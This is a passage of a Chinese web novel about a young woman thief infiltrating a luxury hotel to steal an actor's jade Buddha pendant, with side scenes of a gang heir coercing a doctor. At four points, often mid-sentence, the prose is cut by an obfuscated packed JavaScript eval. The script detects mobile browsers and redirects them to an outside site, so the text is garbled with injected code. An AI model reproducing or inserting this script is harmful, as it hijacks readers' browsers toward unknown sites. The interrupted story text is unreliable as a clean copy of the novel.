听完,他垂头沉吟:“听起来,这个‘红发女鬼’偷的都是有钱人的宝贝……” 李大发讨好性接话:“是啊,去年落马的那个方局长就被她偷过。” 温雪生抬眼:“李管事,你去把卢院长叫过来。然后,你离开这里去收集关于‘红发女鬼’的信息,包括但不限于,她什么时候开始在济东作案,以及盗取了哪些东西。” 他见李大发愣着没动,又补充了句:“现在就去,还有,不要试图揣测我的想法。” 李大发点头,很快离开。 不出五分钟,卢院长小跑着来了。 温雪生靠在倾斜的病床上,浑身散发着阴森气,跟电视里的鬼没啥两样。 卢院长只看了一眼,就心惊胆颤。 “少爷您终于醒了,要是再不醒……” “可以了。”温雪生用一种比他的脸还阴森的声音说,“卢院长,我不需要这些虚的,我找你是有事要问。昨晚我入院的时候,你用ct,不仅扫了我的腿,还扫了我的头,对吧?” “嗯……对。” “给我看下片子。” “您看这个干什么?” “这不是你该问的,你只需要听话照做。” 暖气很足,但卢院长额间冒出了冷汗,他没回话,也没有下一步动作。 温雪生扫视他:“卢院长,是我吩咐不了你吗?那么我找人替你拿。” 卢院长睁大双眼,鸡皮疙瘩迅速起满全身。 类似的话他曾听温四爷说过,然后那个不听话的人被砍掉了一根小拇指。 他不相信温雪生小小年纪能做出这样残忍的事……但是对方的眼睛不像在开玩笑。 他深深吸了口气。 “少爷……” 他本来只是个名不见经传的外科医生,无意中救了受伤的温四爷,得到报恩,才慢慢有了自己的私人医院,有了数不清的钱财和众人崇仰的名声。 他曾经痛恨口口社会,没想到会靠上口口社会,他的一切都是口口社会给的。 到如今,他已脱不了身,他成了口口社会的狗。温四爷不在,他儿子就是主人,他只能听话照做。 “诶,少爷!您说什么呢,片子就在这屋里,我这就给您拿。” 说着,卢院长从墙边的橱柜里取出一张CT胶片。 温雪生仔细看完,脸上竟浮现出一丝释然的表情。 他抬起头,捏着胶片顶部展示给对面的人。 “卢院长,我虽然不知道怎么看胶片,但我不傻,这张片子的重点并不是大脑,而是——”他指了指胶片上,那脑袋摸样的图像前鼓起的两个圆球,“——这儿,眼睛。” 卢院长尴尬笑着,脸色发黑,左手按住右肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“取容易些,还能再少一个小时。”卢院长突然回过神,“少爷,您这是……” 温雪生眼神锐利。 “现在六点半,老头是七点的飞机。济东直飞平河大概需要三个小时。这段时间,任何人都联系不到他。所以,现在,一切由我说了算。卢院长。我要你用这三个多小时,把我眼里的东西取出来。” 他撕掉头上的黑布,露出璀璨如宝石般的蓝色左眼。 一只手迅速抬起,抠在那颗“宝石”上面。 “这件事,天知地知,你知我知。我平时带眼罩,只要你不说,老头不会知道我眼里的东西没了。但是,如果你拒绝,现在,我会当着你的面,把这颗眼睛挖下来。” 那只手用了力。 红色血丝瞬间蔓延在宝石之上,像一条条蜿蜒的裂纹。 少年紧紧咬住下牙。 另一只眼睛毅然坚决,不容反抗。 * 中午两点。 李大发抱着一个厚重的文件夹匆匆跑进病房。 卢院长半张着嘴,瘫在椅子上睡着了。仅剩的几根头发搭在他惨白的前额。他似乎受到了某种非人的折磨。 而李大发想找的少爷,也闭着眼,安静地躺着。 李大发把动作放缓、放轻,蹑手蹑脚地转身,准备推门离开。 一道气若游丝的声音喊住了他。 “过来。” 李大发回头。 少爷的眼睛好像睁开了一点儿。 “过来……近点。” 那声音虚到快听不着了。 李大发走过去,半蹲到床头边。 “少爷,您饿了?” 换做往常,听他这样说,温雪生定会生气。可是现在,他已经没有生气的力气。 他把右手伸到李大发眼前,缓缓松开弯曲攒握的五指。 一道闪着晶莹光芒的蓝光,瞬间照亮了李大发惊讶的刀疤脸。 温雪生:“把这个,亲手交给她……” “谁?” “那个……来咱家干活的大学生……Nancy……张,南希。” 12. 第 12 章 南希费了半个小时,终于在地图上找到了开运路。 济东西北角。 而她住东南…… 路远地不熟容易迷路掉沟里,她扔下切诺基的钥匙,下楼拦了辆黄面的。 “开运路去吗?” 司机探出车窗,打量眼前的女孩:脸蛋上擦着粉,纯白羽绒服上散着香味。 可太漂亮了。 他立马笑眯眯地回:“去去去,不打表一口价60。” 南希:“那打表呢?” “妹妹,哥哥这是给你报的最低价,打表要比这贵不少呢!” 南希摇头:“还是太贵了……” 司机:“要不哥哥给你便宜5块,55,上车!” 南希拒绝,司机大变脸,骂骂咧咧地开车走了。 不一会儿来了辆贴着红车衣的桑塔纳。这次不等司机开口,南希就说:“开运路,打表。” 一个小时后,开运路口,南希付给司机48。 心情很美,像是白赚了7块。 南希哼着小曲,沿路寻找标有24的蓝牌子。 找的也顺利,没走几步就瞧见了。她小跑到这栋24号建筑前,视线里渐渐浮现出一块红底黑字的大招牌: 开运全羊馆。 ? 帅哥住这儿? 记忆里,那救下温大少的帅哥五官周正、眼睛明亮,不像是会骗人的模样…… 正疑惑,全羊馆的门开了。 开门的人穿黑衣。 他并未出门,而是抬手掀开了门上漏棉花的挡风帘,好像在为什么人开路。 果然,几秒钟后,一辆多功能轮椅被缓缓推出门口。 轮椅上坐着位清瘦的少年。他盖着厚重的羊毛毯,披着狐狸领羽绒服,长长的刘海柔软垂下,半遮着左眼上的黑罩布。 温大少…… 南希感觉心脏漏跳了一拍。 他怎么能出门了? 温雪生的瞳孔发生了短暂的紧缩,视线迅速避开南希。 他被推着慢慢移动,身后的李管事,以及李管事身后的四个黑衣人,也慢慢现了身。 南希恍然意识到,对面马路牙子上停着两辆猎豹。 她深吸一口气,向这群黑乎乎的人挥了挥手,尽量保持自然:“Hi,少爷,李管事,咱们又见面了。” 温雪生没动。 李管事看向她,却不像看人,像看东西。 面对东西,不需要说话回应。 气氛尴尬。 南希想找个洞钻进去。 “那个……你们也是来感谢那天的英雄吗……”她随便找了个话题。 可声音越说越小,到最后,连她自己都只能听到轮椅骨碌骨碌的转动声了。 温大少一行人,一个个安静地靠近她,然后又一个个安静地远离。 好在他们走后,那通往全羊馆的小路敞亮了。南希提腿,逃也似地跑往全羊馆。 “张小姐。” 身后偏偏传来低沉的男声。 “你不用去了,少爷已经谢过英雄了。” 像是对她刚才问话的回复,可太晚了,她不需要了,她加快了脚步。 “张小姐。” 那人追上了她。 南希被迫停下,翻了个白眼,回头,脸却是笑的:“天冷,我想进去喝口羊汤。” 眼前的人是李管事。 “老板娘打包了几份羊汤送了少爷,我拿一份给你,你跟我来。” 语气坚决,不容拒绝。李管事说完就转了身,朝着那停在猎豹边上的轮椅走去。 “……” 南希的视线扫过轮椅,扫过黑衣人,扫过有些灰蒙蒙的天,扫过开运全羊馆五个正楷字。 只觉得没天理了。 全羊馆半开的玻璃门后,一位穿着大红棉衣,涂着大红口红,带着大红头花的美女探出了上半身,满脸挂着意味深长的笑。 而南希不情愿地跟李管事上了其中一辆猎豹,从头至尾都没注意到她。 猎豹很快被启动。 李管事坐主驾开车。 后坐是温雪生和南希。两人挨着远,各自靠着各自边儿的窗户。 路上,南希偷瞥温雪生。 他的头发好像长了些,发丝落在挺拔的鼻梁上,勾在瘦削的下颌上,还挺好看。 这样看了会儿,那被看的人突然回了头,眉心皱巴巴。 “你干什么?” 南希见躲不掉,干脆承认:“看看你啊——” 她趁机观察温雪生眼上的黑布罩。 好像没什么变化。但这就够了,蓝宝石的事既然他不主动说,那么她也不会主动去问。 “——好久没看了。”她的眼睛变成了月牙。 前面开车的李管事隐隐颤了下,猎豹加速,直接飙上80。 温雪生躲开南希。 “不准看。” “好吧。”南希果真没再看,却在想,她好像能看清些温大少的模样了…… 大概过了一个小时,李管事拉手刹,回头对南希说:“张小姐,到了。” 南希望向窗外,一个刻有济东大学字眼的巨石横在眼前。 “那个,今天礼拜六……” 言外之意,她不回这儿,李管事送错了地方。 李管事见温雪生没出声,装作听不见,下车从后备箱拿出一盒溢着羊膻味的东西,把南希赶下猎豹,留下句“别再去那个全羊馆”,然后上车,连同整辆猎豹,迅速消失在南希的视线里。 南希提着热腾腾的开运全羊汤,没挪地方,伸手拦下辆面的,嘴一撇:“去开运路!打表!!” 也许这开运全羊馆跟她犯冲,路程还没过半,面的莫名奇妙撞了电线杆子。司机啥事儿没有,她小腿肌肉撕裂,敷膏药在家躺了一个月。趟过大年三十,躺到春暖花开、同学返校,在阳历二月十一号这天,她收到了组织的强制任务。 王有才,白玉佛,十天。 这任务奇怪啊,任务信息通常由地点、宝贝、时间组成,可这王有才怎么听都像个人名。 而且济东市偏偏还真有个叫王有才的,名人。 中年实力派演员。 此人四十成名,成名作演的是清宫戏里的太监。 演太监都演得和真的似的,演其他的更不成问题。业内一致这样评价。 从此,各类大大小小的电视、电影,几乎都能见到他的身影。虽说不是主角,可出现的次数多了,总能混个眼熟,他竟这么浑水摸鱼地成了个家喻户晓的实力派演员。 但南希不确定此王有才就是彼王有才,毕竟这年头重名的多,光她班里就有仨李阳。 接到任务的第二天,她便给刘总打电话说了自己的猜想。 刘总一听,拍腿回:“没跑了,就是他。” 南希:“原因。” 刘总:“他信佛,很信。” “呦,你认识他?” “不认识也知道。小张,你平时不看报吧。去年咱济东日报头版头条,著名演员王有才给南山的清心寺捐了好多钱,还整了个特别大的捐款仪式。” “……捐钱就信佛?” “不信佛还捐钱?” “OK,你赢了,刘总。” 刘总舒服了,他很少能在嘴皮子上占南希便宜。 “所以啊,我一听你要找什么佛,就知道这次的目标肯定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223776|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他!小张,这个事儿简单,那白玉佛肯定就在他身上。” “是吗?”南希沉思,“刘总,就算王有才真的随身携带宝贝,任务地点,也不该是个人吧……” 这个疑惑很快有了答案。 刘总托关系打听到,大名星王有才居无定所。 也可以说他居所过多,住不过来。 据神秘知情人的消息,王大演员创建了一个表演培训班,不对外公开,只有业内的人知道。近两年,由于他的名声越来越响,培训班的规模也迅速扩大,济东市里就有八九个培训分点,而他日理万机、献身演绎教育事业,不是今天在这个培训班忙到深夜,就是明天在那个培训班废寝忘食。 听起来还是个劳模。 南希打开电视,济东电视台在播《清末往事》宣传广告,长得细细长长的管事太监,挤着笑脸、勒着嗓子朝电视外的人说了声:“嗻”。 * 二月十二。 南希再次接受刘总口中神秘知情人的帮助,拿到了王有才的一日行程信息: 十三日早上八点,大明星将从“德艺培训分点”出发,前往景天大酒店,用完早餐后直接参加景天的开业仪式,时间是十点。 午饭同样在景天吃,下午也继续在景天,文件上标的是“高层内部活动”。这样一直待到晚上十点,他结束当天行程,返回市东的“双馨培训分点”。 行程十分简单,南希从刘总手里接过这份信息,信心暴涨到百分之六十,就差—— 她朝刘总眨巴了两下眼皮。 ——一个身份。 当天下午,济东第一家中外合资的五星级国际大酒店多了一个名叫Nancy的服务生。 服务生并不好当。 景天开业前期的准备工作复杂到繁琐,前一天忙到十一、二点,第二天五点,服务生照样得带着统一的发网,穿着熨平的制服,站在酒店大堂听领班点名训话。 领班是个高嗓门美人,一米七大高个儿,头发疏得锃光瓦亮,好像每一根发丝都勒着头皮,看起来倍儿精神。 她激情昂扬地安排完一天的工作后,特意把南希留了下来。 “我知道你是谁的关系。” 南希抬起耷拉的眼皮。 对方双手抱在胸前,头昂得很高,像是在用下巴看她。 南希:“哈?” 她知道刘胖子? “哈什么哈?今天什么日子,给我瞪起眼睛来!” “哦。”南希瞪大眼睛。 就在这儿干一天,受点委屈就受点儿吧。 可领班好像更生气了:“能来咱这儿的人,谁没点儿关系。你信不信,你要是再这么吊儿郎当,不管你后面的人是谁,我都敢去领导面前告你!” 南希挑眉,也抱起双手,笑着:“那您后面的人是谁?” 这问题一出,领班涂得粉白粉白的脸上竟多了几分骄傲。 “我的关系是国家。” 她说这句话时尤其严肃,不像在开玩笑,“我和你不一样,我是正儿八经国家包分配的专科生,干酒店是我的理想。”她斜视南希,“现在什么自主择业、双向选择,打取消分配后,啥乱七八糟的阿猫阿狗都能来——” 话没讲完,大理石走廊里走来一个盘头扎丝巾的中年女性。她朝领班挥了挥手,把她唤了过去。 两人不知悄悄说了些什么,领班的脑袋越压越低,回来的时候,已经完全没了刚刚的气焰,像朵蔫了的花。 可对南希来说,这样正好,她平安无事地等到八点二十,然后与数十个服务生列队酒店正门,终于见到了千呼万唤始出来的大明星——王有才。 OK。 行动开始。 13. 第 13 章 王有才不高,腰却长,头发趴着,嘴上没胡子,给人感觉像条腊肠狗。 南希从迎接他的人群中溜出,抄小道推开后厨门,穿过浓郁的油烟气,一路跑到华盛顿宴会厅。 门口梳着中分头的小服务生拦住她:“你干嘛的?大明星就要来了,不知道?!” 南希笑眯眯:“知道知道,我就是在前面欢迎的,他们来了好几个人,领班怕你们后头人手不够,临时让我来帮忙。” 服务生半信半疑:“你见着王有才了?” 南希:“那是,贼帅,比电视上还瘦!” 空荡荡的前厅里回荡起嘈杂的人声。 小服务生赶紧向南希使眼色,自己挺胸站好。 南希拍拍他,用眼神回复,然后混入金碧辉煌的华盛顿厅。 这是间中型宴会厅,目测五百平左右,却只摆着一张圆桌,只接待王有才一行人。 大明星入席后,服务生开始陆陆续续地上菜。 南希站在墙角旮旯充当礼仪,视线穿越一个个端菜盘子的同事,落在王有才身上: 鸡爪似的手抓起一根豆豉凤爪,纸片薄唇嘟起,吮住凤爪,在嘴唇边上挤出了一条条大褶子。 南希皱了皱眉,往下看。 冬天人穿得多,王有才衬衫套马甲,马甲套西装…… 什么都看不着。 白玉佛的具体位置便没法确定。 目光只能再往上去,重新观察。 凤爪已被啃光,王有才举着俩骨头,仰着脸,眼睛里的光变的有些怪。 那光的聚集处,是位端汤碗、穿细高跟的服务生,光看背影,也知道是个大美人。 好机会。 南希默念了句“对不住”,随即手指做弹弓状——一颗直径一厘米左右的透明弹力球被飞速射出。 弹力球躲过所有人的眼睛,稳准击中高跟鞋服务生的小腿。 顿时,高跟鞋的膝关节向前弓去,手中汤碗倾斜,热汤朝一侧晃荡。 汤要是洒在王有才身上,他必然会换衣服;换衣服,便有可能暴漏藏在身上的白玉佛。 伎俩虽俗,却有效。 眼看热汤即要荡出碗沿,那拖汤碗的手腕借力一摇,碗里的汤打了个转儿,竟这么又找回了原来的平衡。 高跟鞋服务生后退一步,优雅站稳,像是刚完成一套太极动作。 五星级大饭店的服务生果真有水平。 南希感到震撼。 视野里,那高跟鞋服务生蹙着眉心转过了头,眸光犀利,就像在寻找嫌疑犯的香港阿sir。 南希心虚,低头,打消在早餐时作案的念头。 她宣告PlanA失败,转身启动PlanB。 华盛顿厅,一个小巧的身影,沿着墙裙,像老鼠一样朝门口迅速移动起来,直到她在出门时撞上一阵急匆匆的“风”。 撞得不轻,换做旁人,可能已经摔倒,但这只老鼠训练有素。 只见她右脚旋转,左脚撑地,人四平八稳地立着,好像什么都没发生,除了她那瞬间瞥到身后的犀利目光。 中分小服务生仍守在门口:“诶,诶诶,是你啊!你咋出来了?” 南希扫视了一遍门后清一色的藏青制服,收回目光,朝小服务生眨了眨眼:“哥哥,我活儿干完了呀。对了,哥哥,刚才是有谁进去了吗?” 小服务生被叫得脸红,眼睛望天:“进去的人可多了,那个,要说是刚才……哦,对了,黄经理。” 南希歪头:“黄经理是谁呀?” 小服务生:“啊?你不知道黄经理?!” 他的声音有些大,已经有人在往他们这边看了,南希知道不能继续问下去了,露出微笑:“谢谢,哥哥。” 她转身离开,笑容消失。 第六感“嘀嘀嘀”报警,这个黄经理在盯她。 其实在多年的职业生涯中,她也曾做过类似的事。当年,她为了给另一位执行人传递情报,盯了对方两天,还制造了一场不经意的擦肩而过,在两人相碰的瞬间,把手里的东西送了出去。 南希下意识双手插裤兜,果真,一样的伎俩。 右口袋多了个纸团。 她加快步伐,拐进女洗手间,打开第三个门,锁好。 这么做不仅为了安全地展开纸团,她还有个私心,甩开身后的人。 被盯的感觉不好,哪怕对方是善意的。 纸团证实了她所有的猜想。 上面写着: 你要的东西被他做成吊坠挂在了脖子上。开业典礼,保安很多,你不可能靠近。你唯一的机会是高层内部活动,准备一身学生制服。 一条善意的线索,却没头没尾,字迹也潦草,像是着急写的。 南希把纸条撕碎扔进马桶,冲水,出门。 什么学生制服?时间这么紧,她去哪儿搞那玩意儿! 接下来,PlanB同样以失败告终。 景天大酒店的开业典礼异常盛大,国内外各色友人齐聚,保安比纸条上说的很多还要多,整整围着酒店站了一圈儿。 纸团里的信息可靠,代表她提前准备的PlanC也没法再派上用场。而那递纸团的黄经理躲在暗处,明显是不想与她碰面。 后面的行动只能临机应变。 她理了理头绪。 首先,得搞清那个“高层内部活动”在哪儿举行。 王有才一日行程单,以及神秘小纸团,都只有简单的活动名字。难道,提供信息的人也不知道具体活动地点? 南希目光凛了下去。 这种情况的可能性只有一种:地点信息会在活动前,临时通知。 “开业大吉!!!” 酒店大楼高耸入云。 景天之下,众人齐呼,礼花齐放。 南希在攒动的人群中找到了准备离场的王有才。助理正一边走,一边给他摘头上的彩带。 南希跟上去,既然地点不确定,她能做的只剩盯梢这一件事。 两个小时后,王有才吃完了午饭。 作为服务生,南希收走他喝了一半的人参乌鸡汤时,看到他阴笑着,与坐对面的秃头男对视了一眼。 那个秃头男在开业典礼站他身边,瞧站位,应该是景天酒店的高层领导。 看来,“高层内部活动”的具体信息,已经发放给有资格参加的人。 没一会儿,午宴散场,王有才刻意留下几个助理,独自一人进了电梯。 电梯间的液晶显示屏,楼层数字从7降到1。 南希赶紧登上对面电梯,戳下“1”按键。 很快,她走出一楼电梯,眼珠左右转动,在两点钟方向瞟到了王有才细长的影子。 那条腊肠离开景天A栋的玻璃后门,拐进了一面高墙后。 南希提腿要追—— 咔咔。 ——一旁的电梯门开了,从中走出一个秃头。 是那个高层领导。 南希收腿,不慌不忙,低头朝他鞠了一躬。 余光中,秃头与她擦肩,却视若无睹,直接朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223777|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着王有才的方向去了,就像她不存在一样。 南希很满意对方的表现,她不想被关注。 她退入电梯,按下数字“2”,在眼前铁门开启的瞬间,争分夺秒,朝两点钟方向的落地玻璃窗跑去 景天大酒店为了打造气派、现代、不凡的形象,从外面看,整栋A座大楼几乎都由蓝色玻璃围成。 据说这玻璃采用了高科技,里面的人能看到外面,反过来可就不行了。 南希放心地趴在窗口往下看。 秃头男的O型头映入眼帘。 他步伐平稳,不急不慢,走着走着,突然停住,回头。 ! 心猛地一颤。 南希条件反射地贴到墙边,又想起这玻璃的特殊性,再次探出脑袋。 视线里竟多了俩人。 虽然瞧不见脸,但是凭穿着打扮,南希认出他们也是开业剪彩站中间位置的领导。其中一人还是个黄头发外国佬。 秃头男与这俩人握手拥抱,然后一起拐入刚刚王有才消失的高墙。 墙后是座欧式风格的花园,中间一条甬道,两边排列着雕塑和修剪整齐的冬季植物。 花园连接着另一栋蓝色玻璃楼,景天C座,也是秃头男一行人的目的地。 南希望着走进C座旋转门的几人,想起清早领班的训话: “你们好好干,以后才有机会去C座,换上他们的高级制服。” 有用信息,C座的服务生跟她穿的不一样。 她混不进去。 怎么办? 快想! 她强迫大脑飞速运转。 忽然,一阵不算利索的脚步打断了思路。 啪嗒啪嗒…… 不远处的长廊,有个正弓着腰拖地的阿姨。 南希的眸光渐渐亮了。 早晨领班的训话后面,其实还跟着一句讽刺: “瞧你们一个个那样儿!就那么想去C座?哦,对了,你们现在也不是不能去,过去当保洁擦玻璃、刷马桶,领导也是同意的。” 南希盯紧拖地阿姨的灰色工服。 服务生的制服不一样,但保洁的一样。 二十分钟后,保洁南希提着抹布和水桶成功进入景天C座。 而她溜进保洁小屋,顺走一套工服,只用了不到十分钟。 C座果然比A座更气派,就是有些冷清。 南希自然地把水桶拎到电梯间,像模像样、仔仔细细地擦大理石墙。 期间,前前后后来了五波人,有在开业仪式露过脸的,也有完全陌生的面孔。他们都去了同一个楼层,C座次顶,28层。 有些高。 这么想是因为南希决定一层一层擦上去。 有三个好处,一,不引工作人员怀疑。二,参加活动的人已经坐稳。三,她有足够的时间思考该怎么混入活动,单靠保洁的身份似乎不够。 前两条她坐上27升28的电梯时已经达成,唯有最后一条,她怎么都想不出。 叮—— 电梯门开了。 一道刺目的红蓝光在南希脸上扫射而过。 五感顿时被填满。 震耳欲聋的音浪…… 香水、酒精、迷烟气…… 空洞的眼睛,扭动的肢体…… 抱成一团的肉色…… 28层很热,但南希脊背发冷。 她目瞪口呆。 这是……人间……天堂啊…… 她想,她已不需要再思考怎么混入。 14. 第 14 章 五彩灯光映出闪闪发亮的四个大字: 裸.身.派对。 大字之下,“士绅名流”醉生梦死。 没有人注意到一个黑糊糊的、微不足道的保洁,在保安的眼皮子底下走出了电梯。 动次打次—— 六六六啊—— 轰隆轰隆—— 脱脱脱脱—— 五魁首啊—— 赢了赢了—— 各种声音交杂。 南希浑身的气血,从冰冷飞速升温到沸腾。她按捺住想混进舞池玩乐的冲动,放眼环望28层寻找腊肠王有才。 一圈儿下来,竟没找到。 脱了衣服的男人实在长差不多。 以前,她总喜欢看男人在她面前羞答答地脱光自己,可这会儿,看着看着,竟只觉得胃液翻滚。 “呕——” 她想起自己的前男友们,王强,李小帅,张硕,孙峰……哪个不是二十出头,八块腹肌。 而眼前的这些……只能被叫作一团肥肉。 她恍然大悟,她喜欢的不是裸.男,而是裸.帅男。 人间天堂顿时沦为修罗地狱。 又是一阵干呕。 怕一会儿真吐地上,她赶紧提着水桶摸到洗手间躲了进去。 还好,每层洗手间的位置都一样。 拧水龙头,洗脸。 清爽了不少。 只是—— 南希警觉回头。 ——后脑勺有种被什么东西盯着的凉意…… 她抹了把脸上的水,视线由朦胧逐渐清晰,眼前也逐渐浮现出两张惊讶的面孔。 熟人! 一个是清早把领班叫走为她解围的中年女人。另一个,过肩黑发,红白学生制服,齐膝白丝长筒袜,活生生的美少女战士。 可即便她打扮成这副样子,南希也一眼认了出来——她那骄傲的领班。 保洁阿姨对“火野丽”。 南希不知道是自己更震惊,还是对方更震惊。她看到领班涂得艳红的嘴唇微微张开,似乎说了一个“Nancy”。 她也认出了她。 门外,传来一阵惊天动地的欢呼。 然后,激烈的伴奏响起。 有人在唱张学友的《饿狼传说》: “她加上嘴巴给我做磨练; 汹涌的爱扑着我尽力乱吻乱缠……” 那人撕心裂肺,声音像鬼哭狼嚎,实在难听得要死。 门内三人却静静听着,谁也没说话,谁也没动。 “偏偏知道爱令我无明天——” 这句破了音。 那中年女人似乎已忍无可忍,打破“安静”,拍拍领班,侧头对她说:“你先去吧。尽量劝他们别唱了。” 领班目光乱飞,其中有一缕光落到了南希身上。 “要不,您让我再想想?” “想什么?这可是你唯一的机会。” 领班咬牙:“好。” 所有的目光聚向南希,但神情已没了先前的自信,“我的事不要跟别人说,作为交换,我今天也当没看见你。” 说完,她蹭着南希的肩膀,径直走到洗手间门口。 “等等。”南希喊住她。 可喊完后,她才确定那是自己的声音。 任务中,她本从不多管闲事。 领班没回头。 “我要工作了,有什么事以后再说。” 南希叹气。既然管了,就管到底吧。 “工作?领班是要变身美少女战士去消灭坏蛋吗?我怎么记得,你的理想是干酒店呢?” 领班的身体隐隐颤抖。 “如果因为我早上骂了你,你怀恨在心,那么我给你道歉,只希望你现在不要碍事。” 她闭上眼,抬手推门。 南希拽住她的手腕。 “那不行,我这人小心眼,光道歉可解决不了问题。” 领班不再出声,手下却加了力度。 南希也用力,戏谑:“你看看你这小胳膊,连我都挣不开,你还打什么坏蛋?快别出去丢人了。” “放开。”领班转过头,白眼球上布满蜘蛛网一样的血丝。 南希一怔,手下松了。 “你什么都不懂。” 她强行推开了门。 地震般的音浪瞬间没过南希的耳朵。 “爱会像头饿狼,嘴巴似极甜……” 洗手间里的中年女人走过来,一把拉紧木门,将一部分“哭嚎”隔绝在外。她看着南希,意味深长地拍了拍她的胳膊: “能看出她是山里出来的吗?她很优秀,干活拼命,因为干得好让景天给挖了来,可说好的职位和薪水最终也没能给到她。后来,领导说她还有机会,你说她这个机会她是把握还是放弃呢?” 南希后退一步,避开中年女人。身体软软地靠在门上,她不想说话。 中年女人掏出水晶打火机,点了根烟,递给她,“来一根?” 南希瞥了眼,精致雪白烟盒,纤长纯白烟身,美国进口的卡碧。 她摆摆手:“太高端,抽不了。” 女人笑笑,收回烟叼自己嘴里,双腿交叉靠着洗手台。 “怎么?你看起来不太舒服。” 南希望着天花板。 是啊,她的确不舒服,心像被铁钳揪着,刚刚那美少女战士消失在彩灯下的单薄背影,还在眼前。 坏蛋太多了,哪怕是在动画片里,光有火野丽不行,还得有月野兔,木野真琴,水野亚美…… 但这些,跟任务没关系。 她摇摇头:“没有,说正事吧,黄经理。” 中年女人一愣,笑了:“呦,这么快就认出我了。” 南希也笑:“很好认。气味。你香水喷太多了,这在我们行业,可是大忌。” 早晨撞她的“风”,被塞进口袋的纸团,以及这间卫生间,都充斥着同样的香气。 中年女人闻了闻自己的手腕,她已经闻不出什么,可是每天醒来,吃过饭,运动完……她都会喷上别人都说高级的香奈儿5号。 “唉,女人还真是有太多暴漏自己的方式。”中年女人优雅地吐出一个烟圈,“当女人太难了,不是所有女人都能像你一样能读书考大学。” 南希皱眉。 这人竟然摸过她的底。 黄经理:“别紧张,我也就知道你是个大学生而已,你的事儿都是领导跟我说的。” “哦。”南希冷漠。 “你可真有个性,我很少见你这样的女人。”黄经理打量她,“你难道就不好奇自己怎么能来我们这儿工作?我为什么会无缘无故地帮你?我说的领导又是谁?” 南希斜眼:“干我们这行,最不需要的就是好奇心。” 她说的是实话。任务里,她什么都不好奇,至少到现在,能让她提起兴趣的,只有王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223778|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有才的白玉佛。 不对—— 她再一次想起领班离开时猩红的眼睛和裙角飘扬的制服。 ——还有她。 心口又不舒服了。 “只是我有一点不明白,为什么你让我准备学生制服?” 黄经理挑眉:“哦?你真想不出来?这可是裸身party,你想穿衣服,就得穿不一样的。” 南希抿嘴:“如果我穿了那身衣服,领班是不是就不需要再穿。” 黄经理以为自己听错了,嘲讽:“呵,你讲什么呢,这是两码事儿,那衣服能帮你也能帮她。唉,当女人难啊,特别是在这个社会……” 南希又觉得胃痛,恶心,想干呕。 “既然这样——” 她打断她。 “——那就换个社会。” 说完,她转身离开了洗手间。 卡碧烟还没过半,黄经理却再也抽不下去。 刚刚那女孩最后的眼神,让她浑身发抖。 那是一种带有“看不起”意味的眼神。自从她带上经理的金色工牌,喷上法国高级香水,很少再有人向她露出这样的眼神。 她看着镜子里的自己,复杂的盘发,精美的丝巾,一身名牌,光鲜亮丽……可眼睛里的光是幽暗的,透着沧老和疲惫,像是一位濒死的病人。 上牙咬破了下唇,渗出血。 视线不知不觉地模糊了。 “能换吗……”她呢喃着。 * 离景天大酒店一公里外的地上停车场。 切诺基停在四层楼顶,车门外落着几块黑糊糊的烟头。 换了便装的南希正对着手机吼。 说是吼,声音却格外低沉。 “半个小时了,还没查到?!” 电话另一边:“急啥?我正要给你打电话!小张,你今天到底咋地了?吃了枪药?” 南希尽力冷静:“从景天离开之前,我跟踪了王有才的助理,在他的车底装了窃听器和定位器。刚刚,我发现那俩东西都失灵了。刘总,王有才并不像我们想的那么简单。所以,你到底查到什么了,赶紧说,我没功夫跟你废话。” 刘总意识到事情的严重性,忍住震惊:“好好好,别急别急,让我好好捋捋。那个,那个知情人只能拿到王有才今天的行程,其他日期的他也搞不定——” “这就是你查到的东西?” “——你让我喘口气啊!虽然没有行程信息,但我这儿有一个意外的收获。你说的那个28层夜总会,它的老板是温四爷!” 南希心里一颤。 脑中浮现出欧式城堡里恹恹的,阴沉的,只有一只眼睛的病秧子少爷。 “温大少他老爹!?” “没错。据可靠消息,王有才常常光顾温四爷的地盘。说不准,咱们能拜托孙老太给打听……” 咚咚! 电话里传来两声巨大的震动,好似手机摔到了哪儿。 然后,是引擎发动的轰隆声。 刘总明白过来,急了:“歪!小张,歪?小张?!你这是要干啥去?!你说话!你该不会要去找温少——” 嘀嘀嘀…… 电话挂断了。 南希几乎将油门踩到了底。 孙老太帮不了他,但是温雪生可以。 